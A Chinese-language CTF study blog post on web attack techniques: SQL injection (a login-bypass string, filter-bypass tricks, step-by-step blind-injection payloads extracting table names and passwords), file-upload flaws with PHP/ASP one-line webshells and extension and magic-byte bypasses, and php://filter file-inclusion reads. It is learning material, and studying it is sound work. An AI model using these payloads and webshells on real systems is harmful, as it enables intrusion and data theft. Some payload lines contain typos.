CTF之旅
SQL注入
新版本功能
MySQL 8.0.19 release 发布了两条新的 DML 语句。一条 TABLE 语句,一条 VALUES 语句。
TABLE 不是广义的表,而仅仅是一条语句,应用于需要全表扫描的场景。
还有 VALUES 语句也不要混淆为 INSERT…VALUES…这样的传统插入语句。VALUES 是一个全新的模拟记录集的语句,类似于其他数据库比如 PGSQL 的 ROW 语句。
- TABLE 语句
具体语法:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
具体用在小表的全表扫描,比如路由表、配置类表、简单的映射表等。
用来替换是被当做子查询的这类小表的 SELECT 语句。
- VALUES 语句
具体语法:
VALUES row_constructor_list
[ORDER BY column_designator]
[LIMIT BY number] row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
VALUES 语句,用做功能展示或者快速造数据场景,结果列名字以 COLUMN_0 开头,以此类推,举个简单例子。
单条 VALUES 语句
mysql-(ytt/3305)->values row(1,2,3);
结果显示查询1,2,3列的数据。
多条 VALUES 语句
mysql-(ytt/3305)->values row(1,2,3),row(10,9,8);
结果显示1,2,3,10,9,8列的数据,按顺序排序的。
VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。
判断SQL注入类型
1、确定问题参数和漏洞类型
可以看到,在URL中,参数为id,当输入1’时报错,当输入1”时正常显示 ,可以判断问题参数为id,漏洞类型为字符型。
试试id=1+1的回显,发现和id=1结果相同,所以不是数字型注入
尝试id=1a发现和id=1结果相同,所以确实是字符型
输入单引号报错,确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,
2、确定字段数
只有确定了字段数,才可以使用union这个关键词连接我们自己的查询语句。可以采用order by来确定字段数
例如:
输入1’ order by 1 #
表示通过第一字段的顺序进行排序,当输入order by x报错时,就说明没有这个字段,就可以得到输出的字段数了。
SQL注入一些过滤及绕过总结
命令执行漏洞利用及绕过方式总结
这里可以参考一下大佬的总结
万能登录密码
用户名:1' or 1=1#
密码:123(随便输)
1、过滤关键字
1)最常用的绕过方法就是用/**/,<>,分割关键字
sel<>ect
sel/**/ect
利用/*!union*/可以绕过对union的过滤
2)根据过滤程度,有时候还可以用双写绕过、有时候还可以使用编码绕过;例如
url编码绕过
16进制编码绕过
ASCII编码绕过
2、过滤逗号
1)简单注入可以使用join方法绕过
原语句:union select 1,2,3
join语句:union select * from (select 1)a join (select 2)b join (select 3)
2)对于盲注的那几个函数substr(),mid(),limit
substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
3、过滤空格
(1)双空格
(2)/**/
(3)用括号绕过<>;也可以用<
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
(5)用${IFS}$1代替空格;过滤了{},用$IFS$1代替;还可以用
${IFS}
(6)%09(需要php环境)
4、过滤等号
如果等号被过滤了我们可以用 like 代替
5、过滤大于小于号
(1)greatest(n1,n2,n3,...) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
updatexml()报错注入
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
使用extractvalue函数也可以报错注入
注意:extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
总结:两个函数的返回长度有限,均为32个字符长度
堆叠注入
简单来说是一堆 sql 语句(多条)一起执行。
试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
union injection(联合注入)也是将两条语句合并在一起,与堆叠注入的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
###局限性
堆叠注入并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
盲注
盲注分类
•基于布尔SQL盲注
•基于时间的SQL盲注
•基于报错的SQL盲注
盲注的流程:
•找寻并确认sql盲注点
•强制产生通用错误界面
•注入带有副作用的查询
•根据布尔表达式的真假结果,结合不同的返回结果确认注入是否成功
时间盲注
原理简介
延迟注入,
是盲注的其中一种方法。通过提交添加了‘可执行的时间函数’的sql语句,再看这个语句执行的时间长短来判断是否执行成功,例如执行成功的话时间会比较长(执行的时间长短是由我们自己决定,但是时间太短又不利于我们判断,我自己一般设置为5秒),执行失败的话时间会很短,差不多就是我们平常刷新一个页面的时间。
注意:爆信息的时候,正确信息也会延时,错误不延时。
延迟注入使用到的函数
sleep() //延迟函数
if(condition,true,false) //条件语句
ascii() //转换成ascii码
substring(“string”,strart,length) //mid()也一样,取出字符串里的第几位开始,长度多少的字符
If表达式:IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3
Mid函数:MID(column_name,start,[length])
函数 | 解释 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
0x01 获取数据库名的长度
-构造的sql语句:1’ and (length(database()))> 5#;
分析:因为and后面的表达式运算的结果是bool,保证and前面的结果为真的前提下,就可以通过后面的表达式返回的bool结果来判断猜测是否正确database()这个函数的作用是获取当前的数据库名,但是我们并不能看到,所以需要通过length()函数去获取这个数据库名字的长度,通过这个长度去和我们指定的一个数比较,那么只要最后的结果为真,那就可以得到数据库名字的长度。
0x02 获取数据库名字
得到数据库名字长度之后,继续来得到数据库具体名字,也是同样的方法
构造的sql语句: 1‘ and (ascii(substr(database(),n,1)))>m #
分析:得到了数据库名字的具体长度,database()可以获得数据库的名字(只是无法看到),那就可以通过database()函数获得数据库名字过后,再通过substr()函数去处理这个数据库名字字符串substr(database(),n,1) 第一个参数是数据库名字,第二个参数是开始截取的字符的位置(从1开始计算),最后一个参数是截取的字符的长度。由于是想要通过bool去判断这个截取出来的具体字符是什么,所以还需要将截取出来的字符使用ascii()函数将字符转换为ascii编码的数值,然后再通过这个数据去和一个数比较,通过分别改变截取的起始位置和后面对比的数字,最后就可以把具体的数据库名字猜解出来。
0x03 获取表的数量
构造的sql语句:1' and (select count(*) from information_schema.tables where table_schem=database())>5#
分析:同样也是通过最后的bool结果的真假来得到表明的数量
select count(*) from information_schema.tables where table_schem=database()
这条sql语句的作用就是从数据库information_tables里面的tables表找到table_schem字段为database()的记录的总数,也就是可以通过这个语句得到database()这个数据库里面的表的总数,因为information_schema这个数据库里面存放了所有mysql数据库服务器的相关信息,这个数据库里面的tables表里面就是存放的数据库管理系统中所有数据库的表的信息。最后得到表的数量过后,就使用这个数量结果去和一个数进行比较,那么通过对这个比较的数进行改变,就可以猜解出来这个数据库的表的数量是多少;也可以通过二分法的方式进行查找。
0x04 获取表名长度
构造的sql语句:
1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#
分析:由于一个数据库 里面创建了许多张表,所以我们需要利用limit 0,1这个命令相结合,每次只取一个表去做计算,对于其他的表以此类推。
0x05 获取表名字
构造的sql语句:1‘ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100
分析:从information_schema的tables表中的table_schema字段等于database()的所有记录中取出第一行记录的 table_name字段的值;
然后利用取出的这个值使用substr()函数分别得到表名的每个字符,然后再通过ascii()去计算这个ascii码,由于我们看不见这个ascii码是多少,由于我们能够知道布尔结果,所以就用这个计算出的ascii码去和一个数进行比较,从而可以判断出具体的ascii码是多少,也就知道了对应的字符是什么。从而猜解出数据库的表名。
0x06 获取列名个数,列名长度,列名
获取列名个数构造的sql语句:
1’ and (select count(*)from information_schema.columns where table_name=‘user’)>5#
获取列名长度构造的sql语句:
1’ and (select length(column_name)from information_schema.columns where table_name=‘user’ limit 0,1)>5#
获取列名构造的sql语句:
1’ and (ascii(substr((seclect columns_name from information_schema.columns where table_name='user' limit 0,1),1,1)))>100#
0x07 获取数据
构造的sql语句:1‘ and (ascii(substr(( select password from users limit 0,1),1,1)))=68#
分析:原理跟前面都差不多。
上传漏洞
文件上传漏洞
原理
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
什么是文件解析?
1、当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名。
2、服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端。
一、解析漏洞
攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞,这样才能更深入地了解上传漏洞,并加以防范。
常见的Web容器有ⅡS、Apache、Nginx、Tomcat等,下面主要讲IIS、Apache容器。
1.1 IIS解析漏洞
IIS 6.0在解析文件时存在以下两个解析漏洞。
当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。
例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
“NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。
1.2 Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。
有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。
二、 绕过上传漏洞
绕过上传漏洞分以下两种。
客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证;
服务器端检测:服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,
甚至有些程序员检测文件中是否嵌入恶意代码。
条件:
文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行
一句话木马
Asp一句话:<%eval request(“xxx”)%>
Php 一句话:<%php @eval($_POST[xxx]);?>
Aspx一句话:<%@ Page Languag=”xxx”%><%eval(Request.Item[“xxx”])%>
新版木马:
<script language=php>system("ls")</script>
图片前GIF89a
<script language="php">eval($_POST['shell']);</script>
文件上传绕过新知识
1:碰到过一次任意文件上穿漏洞,在config.php中并未发现定义类型Media,请求:upload/.php?Type=Media
2:上传图片马
3:序列化木马:
<?php
class A{
var $a = "<?php phpinfo()?>";
}
$aa = new A();
echo serialize($aa);
?>
4:php,php3,php4,php5,phtml.pht
5:扩展名绕过
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf
6:我们可以通过给上传脚本加上相应的幻数头字节就可以绕过:
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47
文件包含
文件包含漏洞
1、什么是文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
2 、文件包含漏洞的成因
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
3、常见的文件包含函数
PHP:include、include_once、require、require_once等。
Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这与程序开发人员的水平无关,而问题在于语言设计的弊端。
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
4、文件包含漏洞的分类
本地文件包含漏洞:
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
远程文件包含漏洞:
本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配
置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
文件伪协议
文件包含漏洞,PHP伪协议获取文件
?file=php://filter/convert.base64-encode/resource=flag.php
php://filter参数详解
php://filter 参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
php:// 协议
条件:
allow_url_fopen:off/on
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
file:// 协议
条件:
allow_url_fopen:off/on
allow_url_include :off/on
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
说明:
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
环境概要:
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
XSS漏洞
代码审计
CSRF
SSRF
命令执行
PHP 弱类型
常用函数
substr(参数1,参数2,[参数3]);
该系统函数返回被截后的子字符串,它接受2个必选参数,参数1为要截取的字符串,参数2为截取的开始位置,参数3可选,表示截取长度。
limit 0,1 从第0个数据开始,取一个。
MySQL 8.0.22新版本
用table命令代替select命令。
TABLE 语句
1、具体用在小表的全表扫描,比如路由表、配置类表、简单的映射表等。
2、用来替换是被当做子查询的这类小表的 SELECT 语句。
萌新博客,持续完善,努力建设中!!!